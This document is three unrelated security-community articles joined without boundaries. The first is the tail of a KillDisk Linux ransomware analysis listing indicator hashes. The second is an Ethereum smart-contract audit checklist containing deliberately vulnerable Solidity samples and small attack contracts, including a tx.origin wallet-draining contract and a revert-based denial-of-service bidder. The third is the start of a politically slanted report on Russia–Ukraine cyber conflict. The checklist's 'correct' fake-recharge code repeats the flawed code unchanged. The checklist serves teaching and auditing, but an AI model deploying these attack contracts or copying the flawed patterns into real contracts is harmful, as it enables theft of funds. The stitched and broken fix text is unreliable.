KillDisk是由一个叫[TeleBots]的团队开发的，该团队也开发了同名的后门木马，并为2016年破坏乌克兰公司【电力系统，银行系统】的网络攻击负责。除此之外，乌克兰银行也被使用了包含该木马的恶意电子邮件攻击。
可以得出KillDisk之前是[TeleBots]团队开发的专门针对乌克兰的网络攻击样本，在2017/01/05，ESET才捕抓到一个
KillDisk的样本，具体的染感量未知，这款变种样本应该也是[TeleBots]团队开发的，由于样本刚刚出来就被ESET捕获到了，新本较新，暂未对影响量以及传播渠道进行批漏，可能未来这款样本，会被应用到专门攻击Linux服务器的用途上，目前外界感染这款样本的Linux服务器量未知，以后会不会呈现一个爆发的趋势也是未知的。
能过微步在线平台查找Hash值，上面显示样本发现时间为：2017/01/05,相关的IOC列表如下：
26633a02c56ea0df49d35aa98f0fb538335f071c
84a2959b0ab36e1f4e3abd61f378dc554684c9fc
8f43bdf6c2f926c160a65cbcdd4c4738a3745c0c
95fc35948e0ce9171dfb0e972add2b5d03dc6938
92fe49f6a758492363215a58d62df701afb63f66
b2e566c3ce8da3c6d9b4dc2811d5d08729dc2900
2379a29b4c137afb7c0fd80a58020f5e09716437
25074a17f5544b6f70ba3e66ab9b08adf2702d41
（由于ESET并未对样本的捕获来源以及样本的感染进行过多的详细说明，以上纯属个人想法，有不对的地方，请大牛多多指教，欢迎交流）
### 六、参考
<https://www.bleepingcomputer.com/news/security/killdisk-ransomware-now-targets-linux-prevents-boot-up-has-faulty-encryption/>
<http://www.welivesecurity.com/2017/01/05/killdisk-now-targeting-linux-demands-250k-ransom-cant-decrypt/>
<https://www.bleepingcomputer.com/news/security/killdisk-disk-wiping-malware-adds-ransomware-component/>
<http://www.linuxidc.com/Linux/2017-01/139254.htm>
<http://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/>
<https://x.threatbook.cn/>
<http://blog.nsfocus.net/analysis-ukrenergo-blackout-event-ukraine/> | 社区文章 |
**Author: Knownsec 404 Blockchain Security Research Team
Time: 2018.12.05
Chinese Version: <https://paper.seebug.org/741/>
Project link: <https://github.com/knownsec/Ethereum-Smart-Contracts-Security-CheckList>**
In the Ethereum contract audit CheckList, I divided the 29 issues encountered
in Ethereum contract auditing into five major categories, including coding
specification issues, design defect issues, coding security issues, coding
design issues, and coding security issues. This will help smart contract
developers and security workers get started quickly with smart contract
security.
This CheckList refers to and collates with the research results of the major
blockchain security research teams in the completion process. Once
imperfections/errors occurred, welcome to submit issues.
Because this article is mainly a CheckList, the article will not contain too
detailed vulnerability/hazard information, and most of the vulnerability
analysis will be mentioned in the scanning report.
# 1\. Coding specification issue
## (1) Compiler version
**In the contract code, the compiler version should be specified. It is
recommended to use the latest compiler version.**
pragma solidity ^0.4.25;
Compilers of older versions may cause various known security issues, such as
<https://paper.seebug.org/631/#44-dividenddistributor>
V0.4.23 updates a compiler vulnerability. In this version, if both
constructors are used, i.e.,
contract a {
function a() public{
...
}
constructor() public{
...
}
}
one of the constructors will be ignored, which only affects v0.4.22. V0.4.25
fixes the uninitialized storage pointer problem mentioned below.
<https://etherscan.io/solcbuginfo>
## (2) Constructor writing issue
**The correct constructor should be used for different compiler versions,
otherwise the contract owner may change.**
In the solidify compiler syntax requirements of versions less than 0.4.22, the
contract constructor must be equal to the contract name, and the name is
affected by the case, e.g.,
contract Owned {
function Owned() public{
}
After version 0.4.22, the constructor keyword was introduced as a constructor
declaration. But no function is required.
contract Owned {
constructor() public {
}
If you don't follow the corresponding method, the constructor will be compiled
into a normal function, which can be called arbitrarily, leading to more
serious consequences such as owner permission.
## (3) Return standard
**Following the ERC20 specification, the transfer and approve functions should
return a bool value, and a return value code needs to be added.**
function transfer(address _to, uint256 _value) public returns (bool success)
The result of **transferFrom** should be consistent with the result returned
by transfer.
## (4) Event standard
**Follow the ERC20 specification and require the transfer and approve
functions to trigger the corresponding event.**
function approve(address _spender, uint256 _value) public returns (bool success){
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value)
return true
## (5) Fake recharge issue
**In the transfer function, the judgment of the balance and the transfer
amount needs to use the require function to throw an error, otherwise it will
judge that the transaction is successful mistakingly.**
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
The above code may cause false recharge.
The correct code is as follows:
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
# 2\. Design defect issue
## (1) Approve authorization function conditional competition
**Conditional competition should be avoided in the approve function.** Before
modifying the allowance, you should change it to 0 first and then to _value.
The reason for this vulnerability is that in order to encourage miners to mine
in the underlying miners' agreement, the miners can decide what to pack for
themselves. In order to make more profits, the miners generally choose to
package the deals with larger gas prices, rather than relying on the order of
transactions.
By setting 0, the hazards arising from the conditional competition can be
alleviated to some extent. The contract manager can check the log to determine
if there is a conditional competition. The greater significance of this fix is
to remind users who use the approve function. The operation of this function
is irreversible to some extent.
function approve(address _spender, uint256 _value) public returns (bool success){
allowance[msg.sender][_spender] = _value;
return true
The above code may lead to conditional competition.
So add the following in the approve function:
require((_value == 0) || (allowance[msg.sender][_spender] == 0));
Change the allowance to 0 and then the corresponding number.
## (2) Loop dos issue
### [1] Loop consumption issue
**It is not recommended to use too many loops in contracts.**
In Ethereum, each transaction consumes a certain amount of gas, and the actual
consumption is determined by the complexity of the transaction. The larger the
number of loops, the higher the complexity of the transaction. When the
maximum allowable gas consumption is exceeded, the transaction will fail.
#### Real world event
Simoleon (SIM)
* <https://paper.seebug.org/646/>
Pandemica
* <https://bcsec.org/index/detail/id/260/tag/2>
### [2] Loop security issue
**In the contract, the number of loops should be prevented from being
controlled by the user. And the attacker may use an excessive loop to complete
the Dos attack.**
When a user needs to transfer money to multiple accounts at the same time, we
need to traverse the transfer of the target account list, which may lead to
DoS attacks.
function Distribute(address[] _addresses, uint256[] _values) payable returns(bool){
for (uint i = 0; i < _addresses.length; i++) {
transfer(_addresses[i], _values[i]);
}
return true;
}
In the above situation, it is recommended to use withdrawFunds to let the user
retrieve their token instead of sending it to the corresponding account. This
can reduce the hazard to a certain extent.
If the above code controls a function call, then it can construct a huge loop
to consume gas, causing a Dos problem.
# 3\. Coding security issue
## (1) Overflow issue
### [1] Arithmetic overflow
**When calling addition, subtraction, multiplication and division, you should
use the safeMath library instead, otherwise it will easily lead to calculation
overflow, resulting in inevitable loss.**
pragma solidity ^0.4.18;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
function Token(uint _initialSupply) {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0); //Bypass the judgment by underflow.
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
`balances[msg.sender] - _value >= 0`
You can bypass the judgment by underflow.
The usual fix is to use openzeppelin-safeMath, but it may also be limited by
judging different variables. However, it is difficult to impose restrictions
on multiplication and exponential multiplication.
The correct writing:
function transfer(address _to, uint256 _amount) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
#### Real world event
Hexagon
* [代币变泡沫，以太坊Hexagon溢出漏洞比狗庄还过分](https://www.anquanke.com/post/id/145520)
SMT/BEC
* [Solidity合约中的整数安全问题——SMT/BEC合约整数溢出解析](https://www.anquanke.com/post/id/106382)
### [2] Coin/destroy overflow issue
**In the coin/destroy function, the upper limit should be set for totalSupply
to avoid the increase in malicious coinage events due to vulnerabilities such
as arithmetic overflow.**
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
There is no limit to totalSupply in the above code, which may cause the
exponential arithmetic overflow.
The correct writing:
contract OPL {
// Public variables
string public name;
string public symbol;
uint8 public decimals = 18; // 18 decimals
bool public adminVer = false;
address public owner;
uint256 public totalSupply;
function OPL() public {
totalSupply = 210000000 * 10 ** uint256(decimals);
...
}
#### Real world event
* [ERC20 智能合约整数溢出系列漏洞披露](https://paper.seebug.org/626/)
## (2) Reentrancy vulnerability
**Avoid using call to trade in smart contracts to avoid reentrancy
vulnerabilities.**
In the smart contract, call, send, and transfer are provided to trade eth. The
biggest difference for call is that there is no limit for gas. The other two,
when the gas is not enough, will report out of gas.
There are several characteristics of reentrancy vulnerability.
1. Using the call function.
2. There is no limit for the call function gas.
3. Deducting the balance after the transfer.
4. Adding () to execute the fallback
function withdraw(uint _amount) {
require(balances[msg.sender] >= _amount);
msg.sender.call.value(_amount)();
balances[msg.sender] -= _amount;
}
The above code is a simple demo of reentrancy vulnerability. A large number of
contract tokens are recursively transferred by reentrancy vulnerabilities.
For possible reentrancy issues, use the transfer function to complete the
transfer as much as possible, or limit the gas execution of the call. These
can effectively reduce the harm.
contract EtherStore {
// initialise the mutex
bool reEntrancyMutex = false;
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
require(!reEntrancyMutex);
require(balances[msg.sender] >= _weiToWithdraw);
// limit the withdrawal
require(_weiToWithdraw <= withdrawalLimit);
// limit the time allowed to withdraw
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
// set the reEntrancy mutex before the external call
reEntrancyMutex = true;
msg.sender.transfer(_weiToWithdraw);
// release the mutex after the external call
reEntrancyMutex = false;
}
}
The above code is a way to use mutex lock to avoid recursive protection.
### Real world event
The Dao
* [The DAO](https://en.wikipedia.org/wiki/The_DAO_\(organization\))
* [The DAO address](https://etherscan.io/address/0xbb9bc244d798123fde783fcc1c72d3bb8c189413#code)
## (3) Call injection
**When the call function is invoked, you should do strict permission control,
or write the function invoked to hardcode directly.**
In the design of EVM, if the parameter data of the call is 0xdeadbeef (assumed
function name) + 0x0000000000.....01, then it is the invoke function.
Call function injection can lead to token stealing and permission bypass.
Private functions and even partially high-privilege functions can be called
through call injection.
addr.call(data);
addr.delegatecall(data);
addr.callcode(data);
For example, when the delegatecall function must call another contract within
the contract, the keyword library can be used to ensure that the contract is
static and indestructible. By forcing the contract to be static, the storage
environment can be simple to a certain extent and preventing the attacker from
attacking the contract by modifying the state.
### Real world events
call injection
* [以太坊智能合约call注入攻击](https://paper.seebug.org/624/)
* [以太坊 Solidity 合约 call 函数簇滥用导致的安全风险](https://paper.seebug.org/633/)
## (4) Permission control
**Different functions in the contract should have reasonable permission
settings.**
Check whether the functions in the contract use public, private and other
keywords correctly for visibility modification. Check whether the contract is
correctly defined and use the modifier to restrict access to key functions to
avoid unauthorized control.
function initContract() public {
owner = msg.sender;
}
The above code should not be a public function.
### Real world event
Parity Multi-sig bug 1
* [Parity Multi-sig bug 1](http://paritytech.io/the-multi-sig-hack-a-postmortem/)
Parity Multi-sig bug 2
* [Parity Multi-sig bug 2](http://paritytech.io/a-postmortem-on-the-parity-multi-sig-library-self-destruct/)
Rubixi
* [Rubixi](https://blog.ethereum.org/2016/06/19/thinking-smart-contract-security/)
## (5) Replay attack
**If the contract involves the demands for entrusted management, attention
should be paid to the non-reusability of verification to avoid replay
attacks.**
In the asset management system, there are often cases of entrusted management.
The principal gives the assets to the trustee for management and pays a
certain fee to the trustee. This business scenario is also common in smart
contracts.
Here is an example of the transferProxy function, which is used when user1
transfers token to user3 but does not have eth to pay for gas price. In this
case, user2 is delegated for payment by calling transferProxy.
function transferProxy(address _from, address _to, uint256 _value, uint256 _fee,
uint8 _v, bytes32 _r, bytes32 _s) public returns (bool){
if(balances[_from] < _fee + _value
|| _fee > _fee + _value) revert();
uint256 nonce = nonces[_from];
bytes32 h = keccak256(_from,_to,_value,_fee,nonce,address(this));
if(_from != ecrecover(h,_v,_r,_s)) revert();
if(balances[_to] + _value < balances[_to]
|| balances[msg.sender] + _fee < balances[msg.sender]) revert();
balances[_to] += _value;
emit Transfer(_from, _to, _value);
balances[msg.sender] += _fee;
emit Transfer(_from, msg.sender, _fee);
balances[_from] -= _value + _fee;
nonces[_from] = nonce + 1;
return true;
}
The problem with this function is that the nonce value is predictable. Replay
attacks can be performed with other variables unchanged which lead to multiple
transfers.
The vulnerability stems from the DEF CON 2018 topics.
[Replay Attacks on Ethereum Smart
Contracts](https://github.com/nkbai/defcon26/blob/master/docs/Replay%20Attacks%20on%20Ethereum%20Smart%20Contracts.md)
[Replay Attacks on Ethereum Smart Contracts
pdf](https://media.defcon.org/DEF%20CON%2026/DEF%20CON%2026%20presentations/Bai%20Zheng%20and%20Chai%20Wang/DEFCON-26-Bai-Zheng-Chai-Wang-You-May-Have-Paid-more-than-You-Imagine.pdf)
# 4\. Coding design issue
## (1) Address initialization issue
**When the address is involved in a function, it is recommended to add the
verification of`require(_to!=address(0))` to effectively avoid unnecessary
loss caused by user misuse or unknown errors.**
The address that EVM initializes when compiling the contract code is 0. If the
developer initializes an address variable in the code without setting an
initial value, or the user does not initialize the address variable upon any
mis-operation, and this variable is called in the following code, unnecessary
security risks may rise.
This type of check can be used in the simplest way to avoid issues such as
unknown errors or short address attacks.
## (2) Judgment function issue
**When the conditional judgment is involved, the require function instead of
the assert function is used. Because assert will cause the remaining gas to be
consumed, but they are consistent in other aspects.**
It is worth noting that the assert has mandatory consistency. For static
variables, assert can be used to avoid some unknown problems, because it will
force the termination of the contract and make it invalid. And in some
conditions, assert may be more suitable.
## (3) Balance judgment issue
**Don't assume that the contract is created with a balance of 0 and the
transfer can be forced.**
Be cautious to write invariants for checking account balances, because an
attacker can send wei to any account forcibly, even if the fallback function
throws.
The attacker can create a contract with 1wei and then call
selfdestruct(victimAddress) to destroy it. This balance is forcibly
transferred to the target, and the target contract has no code to execute and
cannot be blocked.
It is worth noting that during the packaging process, the attacker can
transfer before the contract is created through race condition so that the
balance is not 0 when the contract is created.
## (4) Transfer function issue
**Upon completing a transaction, it is recommended to use transfer instead of
send by default.**
When the target of the transfer or send function is a contract, the contract's
fallback function will be invoked. But if the fallback function failed to
execute, transfer will throw an error and automatically roll back, and send
will return false. Therefore, you need to judge the return type when using
send. Otherwise, the transfer may fail and the balance will decrease.
function withdraw(uint256 _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] -= _amount;
etherLeft -= _amount;
msg.sender.send(_amount);
}
The above code use the send() function to transfer, because there is no check
for the returned value of the send() function.
If msg.sender fail to call the contract account fallback(), send() returns
false, which eventually results in a reduction in the account balance with
money loss.
## (5) External call design issue
**For external contracts, pull instead of push is preferred.**
In the case of external calls, unpredictable failure happens. In order to
avoid unknown loss, the external operations should be changed into user's own
disposal.
Error example:
contract auction {
address highestBidder;
uint highestBid;
function bid() payable {
if (msg.value < highestBid) throw;
if (highestBidder != 0) {
if (!highestBidder.send(highestBid)) { // An error may occur.
throw;
}
}
highestBidder = msg.sender;
highestBid = msg.value;
}
}
When a transfer to a party is required, the transfer is changed to define the
withdraw function, allowing the user to execute the function by himself and
withdraw the balance. This will avoid unknown losses to the greatest extent.
Example code:
contract auction {
address highestBidder;
uint highestBid;
mapping(address => uint) refunds;
function bid() payable external {
if (msg.value < highestBid) throw;
if (highestBidder != 0) {
refunds[highestBidder] += highestBid; // Recorded in the refunds.
}
highestBidder = msg.sender;
highestBid = msg.value;
}
function withdrawRefund() external {
uint refund = refunds[msg.sender];
refunds[msg.sender] = 0;
if (!msg.sender.send(refund)) {
refunds[msg.sender] = refund; // It can be recovered if the transfer is wrong.
}
}
}
## (6) Error handling
**When the contract involves a call or other methods that operates at the base
level of the address function, make reasonable error handling.**
address.call()
address.callcode()
address.delegatecall()
address.send()
If such an operation encounters an error, it will not throw an exception but
return false and continue the execution.
function withdraw(uint256 _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] -= _amount;
etherLeft -= _amount;
msg.sender.send(_amount);
}
The above code does not verify the return value of send. If msg.sender is a
contract account, send returns false when the fallback call fails.
So when using the above method, you need to check the return value and make
error handling.
if(!someAddress.send(55)) {
// Some failure code
}
<https://paper.seebug.org/607/#4-unchecked-return-values-for-low-level-calls>
It's worth noting that as a part of the EVM design, the following functions
will return True if the contract being called does not exist.
call、delegatecall、callcode、staticcall
Before calling such functions, you need to check the validity of the address.
## (7) Weak random number issue
**The method of generating random numbers on smart contracts requires more
considerations.**
The Fomo3D contract introduces the block information as a parameter for
generating the random number seed in the airdrop reward, which causes the
random number seed to be affected only by the contract address and cannot be
completely random.
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
The above code directly led to the Fomo3D incident causing more than a few
thousands eth loss.
So when it comes to such applications in a contract, it is important to
consider a more appropriate generation method and a reasonable order of use.
Here is a reasonable random number generation method **hash-commit-reveal** ,
i.e., the player submits the action plan and the hash to the back end, which
then generates the corresponding hash value as well as the random number to
reveal and returns the corresponding random number to commit. In this way, the
server can't get the action plan, and the client can't get the random number.
One great implementation code is the random number generation code for
dice2win.(https://etherscan.io/address/0xD1CEeeefA68a6aF0A5f6046132D986066c7f9426)
But the biggest problem with **hash-commit-reveal** is that the server will
get all the data in the process briefly after user submits. Maliciously
suspending the attack will destroy the fairness to some extent. Detailed
analysis can be found in [the smart contract game - Dice2win security
analysis.](https://paper.seebug.org/717/)
Of course, hash-commit is also a good implementation in some simple scenarios,
i.e., the player submits the action plan hash before generating a random
number and submitting the action plan.
### Real world event
Fomo3D Incident
* <https://www.reddit.com/r/ethereum/comments/916xni/how_to_pwn_fomo3d_a_beginners_guide/>
* [8万笔交易「封死」以太坊网络，只为抢夺Fomo3D大奖？](https://mp.weixin.qq.com/s/5nrgj8sIZ0SlXebG5sWVPw)
Last Winner
* <https://paper.seebug.org/672/>
## (8) Variable coverage vulnerability
Avoid the key of the array variable in contract being controlled.
map[uint256(msg.sender)+x] = blockNum;
In EVM, arrays are different from other types. As arrays are dynamically
sized, array data is calculated as
address(map_data) = sha3(key)+offset
The key is the position defined by the map variable, i.e., 1. The offset
refers to the offset in the array, e.g., for map[2], the offset is 2.
The address of map[2] is sha3(1)+2. Assuming map[2]=2333,
storage[sha3(1)+2]=2333.
This is a problem because offset is controllable so that we can write values
to any address of the storage.
This may overwrite the value of any address in the storage, affecting the
logic of the code itself, leading to even more serious problems.
For detailed principles, please refer to \- [以太坊智能合约 OPCODE
逆向之理论基础篇](https://paper.seebug.org/640/) \- <https://paper.seebug.org/739>
# 5\. Code hidden danger
## (1) Grammatical property issue
**Be careful with the rounding down of integer division in smart contracts**.
In smart contracts, all integer divisions are rounded down to the nearest
integer. For higher precision, a multiplier is needed to increase this number.
If the problem occurs explicitly in the code, the compiler will raise an error
and cannot continue compiling. However, if it appears implicitly, the round-down approach will be taken.
Error example:
uint x = 5 / 2; // 2
Correct code:
uint multiplier = 10;
uint x = (5 * multiplier) / 2;
## (2) Data privacy
**note that all data in the chain is public.**
In the contract, all data including private variables are public. Privacy data
cannot be stored on the chain.
## (3) Data reliability
In the contract, the timestamp should not be allowed to appear in the code to
avoid interference by the miners. Instead, the constant data such as
block.height should be used.
uint someVariable = now + 1;
if (now % 2 == 0)
{ // The now may be controlled by miners.
}
## (4) Gas consumption optimization
For some functions and variables that do not involve state changes, you can
add constant to avoid gas consumption.
contract EUXLinkToken is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
string public constant name = "xx";
string public constant symbol = "xxx";
uint public constant decimals = 8;
uint256 public totalSupply = 1000000000e8;
uint256 public totalDistributed = 200000000e8;
uint256 public totalPurchase = 200000000e8;
uint256 public totalRemaining = totalSupply.sub(totalDistributed).sub(totalPurchase);
uint256 public value = 5000e8;
uint256 public purchaseCardinal = 5000000e8;
uint256 public minPurchase = 0.001e18;
uint256 public maxPurchase = 10e18;
## (5) Contract users
**In the contract, we should try to consider the situation when the trading
target is the contract and avoid the various malicious uses incurred
thereby.**
contract Auction{
address public currentLeader;
uint256 public hidghestBid;
function bid() public payable {
require(msg.value > highestBid);
require(currentLeader.send(highestBid));
currentLeader = msg.sender;
highestBid = currentLeader;
}
}
The above contract is a typical case when the contract is not considered as a
user. This is a simple bidding code to compete for the king. When the trade
ether is bigger than the highestBid in the contract, the current user will
become the current "king" of the contract, and his trading amount will become
the new highestBid.
contract Attack {
function () { revert(); }
function Attack(address _target) payable {
_target.call.value(msg.value)(bytes4(keccak256("bid()")));
}
}
However, when a new user tries to become the new "king" and the code executes
to `require(currentLeader.send(highestBid));`, the fallback function in the
contract is triggered. If the attacker adds a `revert()` function to the
fallback function, the transaction will return false and the transaction will
never be completed. Then the current contract will always be the current
"king" of the contract.
## (6) Log records
**Key events should have an Event record. In order to facilitate operation,
maintenance and monitoring, in addition to functions such as transfer and
authorization, other operations also need to add detailed event records such
as administrator permission transfer and other special main functions.**
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
emit OwnershipTransferred(owner, newowner);
}
## (7) Fallback function
**Define the Fallback function in the contract and make the Fallback function
as simple as possible.**
The fallback will be called when there is a problem with the execution of the
contract (if there is no matching function). When the send or transfer
function is called, only 2300 gas is used to execute the fallback function
after the failure. The 2300 gas only allows a set of bytecode instructions to
be executed and needs to be carefully written to avoid the use of gas.
Some examples:
function() payable { LogDepositReceived(msg.sender); }
function() public payable{ revert();};
## (8) Owner permission issue
**Avoiding the owner permission is too large.**
For contract owner permissions that are too large, the owner can freely modify
various data in the contract, including modification rules, arbitrary
transfer, and any coinage. Once a safety issue occurs, it may lead to serious
results.
Regarding the owner permission issue, several requirements should be followed:
1. After the contract is created, no one can change the contract rules, including the size of the rule parameters.
2. Only the owner is allowed to withdraw the balance from the contract
## (9) User authentication issue
**Don't use tx.origin for authentication in the contract.**
Tx.origin represents the initial address. If user a invokes contract c through
contract b, for contract c, tx.origin is user a, and msg.sender is contract b.
This represents a possible phishing attack, which is extremely dangerous for
authentication.
Here's an example:
pragma solidity >0.4.24;
// THIS CONTRACT CONTAINS A BUG - DO NOT USE
contract TxUserWallet {
address owner;
constructor() public {
owner = msg.sender;
}
function transferTo(address dest, uint amount) public {
require(tx.origin == owner);
dest.transfer(amount);
}
}
We can construct an attack contract:
pragma solidity >0.4.24;
interface TxUserWallet {
function transferTo(address dest, uint amount) external;
}
contract TxAttackWallet {
address owner;
constructor() public {
owner = msg.sender;
}
function() external {
TxUserWallet(msg.sender).transferTo(owner, msg.sender.balance);
}
}
When the user is spoofed and invokes the attack contract, it will bypass the
authentication directly and transfer the account successfully. Here you should
use msg.sender to do permission judgment.
<https://solidity.readthedocs.io/en/develop/security-considerations.html#tx-origin>
## (10) Race condition issue
**Try to avoid relying on the order of transactions in the contract.**
In smart contracts, there is often a reliance on the order of transactions.
Such as the rule of occupying a hill to act as a lord or the last winner rule.
These are rules that are designed because of the strong dependence on the
order of transactions. But the bottom rule of Ethernet is based on the law of
maximum interests of miners. Within a certain degree of limit, as long as the
attackers pay enough costs, he can control the order of the transactions to a
certain extent. Developers should avoid this problem.
### Real world event
Fomo3D Incident
* [智能合约游戏之殇——类 Fomo3D 攻击分析](https://paper.seebug.org/681/)
## (11) Uninitialized storage pointer
**Avoiding initializing struct variables in functions.**
A special data structure is allowed to be a struct structure in solidity, and
local variables in the function are stored by default using storage or memory.
Storage and memory are two different concepts. Solidity allows pointers to
point to an uninitialized reference, and uninitialized local storage causes
variables to point to other stored variables. This can lead to variable
coverage and even more serious consequences.
pragma solidity ^0.4.0;
contract Test {
address public owner;
address public a;
struct Seed {
address x;
uint256 y;
}
function Test() {
owner = msg.sender;
a = 0x1111111111111111111111111111111111111111;
}
function fake_foo(uint256 n) public {
Seed s;
s.x = msg.sender;
s.y = n;
}
}
After the above code is compiled, s.x and s.y will point incorrectly to owner
and a.
After the attacker executes fake_foo, the owner will be changed to himself.
The above issue was fixed in the latest version of 0.4.25.
# CheckList audit reports
* [《以太坊合约审计 CheckList 之“以太坊智能合约编码隐患”影响分析报告》](https://paper.seebug.org/732/)
* [《以太坊合约审计 CheckList 之“以太坊智能合约规范问题”影响分析报告》](https://paper.seebug.org/663/)
* [《以太坊合约审计 CheckList 之“以太坊智能合约设计缺陷问题”影响分析报告》](https://paper.seebug.org/679/)
* [《以太坊合约审计 CheckList 之“以太坊智能合约编码安全问题”影响分析报告》](https://paper.seebug.org/696/)
* [《以太坊合约审计 CheckList 之“以太坊智能合约编码设计问题”影响分析报告》](https://paper.seebug.org/707/)
# REF
* <https://github.com/ConsenSys/smart-contract-best-practices/blob/master/README-zh.md>
* <https://dasp.co>
* <https://etherscan.io/solcbuginfo>
* <https://www.kingoftheether.com/contract-safety-checklist.html>
* <https://mp.weixin.qq.com/s/UXK8-ZN7mSUI3mPq2SC6Og>
* <https://mp.weixin.qq.com/s/kEGbx-I17kzm7bTgu-Nh2g>
* <https://media.defcon.org/DEF%20CON%2026/DEF%20CON%2026%20presentations/Bai%20Zheng%20and%20Chai%20Wang/DEFCON-26-Bai-Zheng-Chai-Wang-You-May-Have-Paid-more-than-You-Imagine.pdf>
* <https://mp.weixin.qq.com/s/SfKh7_xh7OwV9b31T4t-PQ>
* <http://rickgray.me/2018/05/17/ethereum-smart-contracts-vulnerabilites-review/>
* <http://rickgray.me/2018/05/26/ethereum-smart-contracts-vulnerabilities-review-part2/>
* * * | 社区文章 |
# 2022年俄乌冲突战场动态测绘年度报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
**俄乌冲突是一场新型的混合战争。在俄乌物理空间战场之外，网络战、舆论认知战胶着在一起，多方势力进行激烈的较量。自2022年俄乌冲突引发全球高度关注至今，俄乌冲突已持续了400多天，局势持续发酵。据2023年4月9日《纽约时报》报道，多家社交媒体近来披露了一批疑似美军秘密文件中，包含韩国政府高层讨论是否向乌克兰提供武器等内容，而这些信息来自美国情报部门对韩方的监听。这一信息一经发布，再次引发对俄乌冲突话题的关注。**
以美国为首的西方国家，虽然表面上未直接参与军事冲突，却利用其先进的网络信息技术和主流媒体平台极力压制俄罗斯，并引导全球黑客加入网络战，起到了推波助澜的作用。2022年6月，微软公司发布的《保卫乌克兰：网络战争的初始教训》报告指出，在俄乌战争爆发前的一周内乌克兰政府的数据就被悄悄的“运出”了乌克兰，上传到美国的云上进行数据储存和处理，美国甚至为此还修订了法律。俄乌冲突爆发后，美国前国务卿希拉里·克林顿在接受美国微软全国广播公司（MSNBC）的采访时呼吁美国黑客对俄罗斯发动网络攻击。美国还在利用跨国信息科技公司在互联网世界的资源主导权，不断对俄罗斯的舆论发声渠道围追堵截。苹果公司删除了俄罗斯以外国家和地区App
Store中俄罗斯的新闻应用程序；谷歌公司封锁了俄罗斯官方媒体的YouTube频道。美国在俄乌冲突背后的频频动作，暴露出美国所宣扬的所谓“清洁网络”和“符合民主价值观和利益的技术”，不过是可以让美国肆意窃密、随意攻击他国、确保美国“唯我独尊”的网络和技术优势。最近美国五角大楼泄露的情报等一系列事实证明，美国是网络战的始作俑者、先进网络武器的最大扩散方、全球最大的网络窃密者。
本报告基于网络空间搜索引擎钟馗之眼（ZoomEye）的网络空间测绘数据、创宇安全智脑、关基目标库、高级持续性威胁（APT）流量监测系统、云蜜罐平台的攻击日志数据，通过对俄乌冲突爆发前、冲突爆发初期、冲突相持阶段的相关数据进行趋势分析，描绘俄乌冲突网络空间对抗的演进过程，总结俄乌冲突网络空间对抗呈现的主要特征，并总结经验、提出建议。
**一、俄乌冲突网络空间对抗情况概览**
根据ZoomEye的数据，可以将俄乌冲突划分为三个阶段，即冲突爆发前（2021年12月1日至2022年2月24日）、冲突爆发初期（2022年2月24日至2022年3月7日）和冲突相持阶段（2022年3月7日至今）（见图1）。
编辑
图1乌克兰的IP存活趋势图
通过网络空间动态测绘、APT组织行为测绘、攻击者大数据监测、暗网流量监测、舆情信息监测等多个维度，分析俄乌冲突以来网络空间资产变化趋势和网络空间对抗态势，可以发现和全面“感知”网络战这个新型战场与物理空间战场发展态势之间的关联映射。
**一是“感知”了双方的网络空间战法战略。**
推测双方通过冲突爆发前的长期APT攻击获取了精准的高价值情报，在军事冲突爆发之前“网络战先行”，通过分布式拒绝服务（DDoS）攻击重点打击对方的军事、能源、金融等关键基础设施，并在军事冲突爆发后通过网络战持续消耗对方，同时，将舆论认知战贯穿始终，以便达到鼓舞己方士气、削弱敌方信心的目的。
**二是“感知”了俄乌冲突爆发前的作战准备。**
通过对APT组织的长期情报跟踪以及对全球黑客组织所使用的网络资产、僵尸主机进行测绘，可以发现，在冲突爆发前有大量用于攻击的命令与控制（C2）服务器资源上线部署，为冲突爆发前进行大规模DDoS攻击提供支撑。
**三是“感知”了DDoS攻击先行成为冲突背后压制对方的重要手段。**
通过“肉鸡”数量的变化趋势以及俄乌双方关键信息系统的存活的变化趋势，可以发现，军事行动之前往往伴随大规模DDoS攻击，成为先行压制的重要手段。
**四是“感知”了在冲突初期特别军事行动演进路线以及在相持阶段双方多次大规模空袭的区域分布。**
